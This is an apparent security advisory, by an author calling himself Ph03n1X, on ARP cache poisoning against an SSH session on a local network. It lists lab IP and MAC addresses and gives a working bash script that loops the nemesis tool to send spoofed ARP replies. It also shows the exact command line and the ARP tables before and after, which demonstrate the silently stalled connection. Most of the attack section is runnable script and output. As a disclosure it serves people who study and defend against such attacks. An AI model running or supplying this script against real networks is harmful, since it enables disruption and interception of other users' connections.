Author : Ph03n1X Email : king_purba@xxxxxxxxxxx Site : http://kandangjamur.net/ Severity : Moderate IGNORING SSH CONNECTION USES ARP CACHE POISSONING We know that tcp connection will close by sending RST flag. I try to connect to my openssh server on slackware 10 from my computer fedora core 4. Then using an openbsd 3.7, that had same network with slackware n fedora, try to overwrite ARP cache on my fedora core 4. After arp cache has been overwriten, all packet from fedora core 4 to slackware 10 is ignored. May be this problem is not only on ssh but on other tcp protocol. Exploitation : 1. OpenSSH on slackware has IP 172.16.11.235 and MAC 00:80:48:EB:50:F2 2. Client using Fedora has IP 172.16.11.103 and MAC 00:00:21:27:12:1F 3. Attacker using OpenBSD has IP 172.16.11.234 and MAC 00:c0:26:6f:3a:1a 4. Now, login ssh from 172.16.11.103 to 172.16.11.235 Before exploitation you can use shell command on 172.16.11.235 as you wish and also you can manage 172.16.11.235 from 172.16.11.103. 5. ARP cache on 172.16.11.103 before overwriting fc4-$arp -na ? (172.16.11.235) at 00:80:48:EB:50:F2 [ether] on eth0 ? (172.16.11.1) at 00:11:BB:74:DA:00 [ether] on eth0 6. Overwriting ARP cache on 172.16.11.103 from 172.16.11.234 using nemesis and simple bash script #!/bin/sh if [ -z "$5" ] # # Script ini akan mengatakan bahwa IP server ada di MAC xxxx # Sehingga client tidak menghubungi server melainkan xxxx # then echo echo "Usage : $0 <interface attacker> <ip server ssh> <ip client> <valid MAC address/up to u> <MAC client>" echo exit fi while true do nemesis arp -v -r -d $1 -S $2 -D $3 -h $4 -m $5 -H $4 -M $5 sleep 2; done openbsd-$./arp-cachep.sh rl0 172.16.11.235 172.16.11.103 00:c0:26:6f:3a:00 00:00:21:27:12:1f 7. Now check ARP cache on 172.16.11.103 after overwriting fc4-$arp -na ? (172.16.11.235) at 00:C0:26:6F:3A:00 [ether] on eth0 <-- ARP cache has been overwriten ? (172.16.11.1) at 00:11:BB:74:DA:00 [ether] on eth0 8. Now, back to ssh connection on 172.16.11.235 from 172.16.11.103. Type, any character on ssh console, yep no data connection, you cannot do anything on ssh console because ssh connection has been ignored but not closed.